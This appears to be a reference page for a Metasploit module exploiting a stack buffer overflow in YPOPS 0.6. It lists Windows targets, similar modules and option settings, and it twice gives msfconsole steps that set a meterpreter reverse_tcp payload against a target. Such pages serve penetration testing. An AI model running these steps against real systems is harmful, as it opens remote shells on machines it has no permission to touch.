YPOPS 0.6 Buffer Overflow
This module exploits a stack buffer overflow in the YPOPS POP3 service. This is a classic stack buffer overflow for YPOPS version 0.6. Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to jmp ebx opcode in ws_32.dll
Exploit Rank
- Average
Exploit Authors
- acaro < acaro [at] jervus.it >
Vulnerability References
Exploit Targets
- 0 - Windows 2000 SP0 Italian
- 1 - Windows 2000 Advanced Server Italian SP4
- 2 - Windows 2000 Advanced Server SP3 English
- 3 - Windows 2000 SP0 English
- 4 - Windows 2000 SP1 English
- 5 - Windows 2000 SP2 English
- 6 - Windows 2000 SP3 English
- 7 - Windows 2000 SP4 English
- 8 - Windows XP SP0-SP1 English
- 9 - Windows XP SP2 English
- 10 - Windows 2003 SP0 English
- 11 - Windows 2003 SP1 English
Exploit Development
Similar Exploit Modules
- exploit/windows/smtp/mailcarrier_smtp_ehlo
- exploit/windows/smtp/mercury_cram_md5
- exploit/windows/smtp/ms03_046_exchange2000_xexch50
- exploit/windows/smtp/njstar_smtp_bof
- exploit/windows/smtp/wmailserver
Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/smtp/ypops_overflow1
msf exploit(ypops_overflow1) > show payloads
msf exploit(ypops_overflow1) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ypops_overflow1) > set LHOST [MY IP ADDRESS]
msf exploit(ypops_overflow1) > set RHOST [TARGET IP]
msf exploit(ypops_overflow1) > show targets
msf exploit(ypops_overflow1) > set TARGET [TARGET ID]
msf exploit(ypops_overflow1) > exploit
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msf > use exploit/windows/smtp/ypops_overflow1
msf exploit(ypops_overflow1) > show payloads
msf exploit(ypops_overflow1) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ypops_overflow1) > set LHOST [MY IP ADDRESS]
msf exploit(ypops_overflow1) > set RHOST [TARGET IP]
msf exploit(ypops_overflow1) > show targets
msf exploit(ypops_overflow1) > set TARGET [TARGET ID]
msf exploit(ypops_overflow1) > exploit
Exploit Module Options
| MAILFROM | FROM address of the e-mail (default: zombie@brains.net) |
| MAILTO | TO address of the e-mail (default: human@ahhhzombies111.net) |
| RHOST | The target address |
| RPORT | The target port (default: 25) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
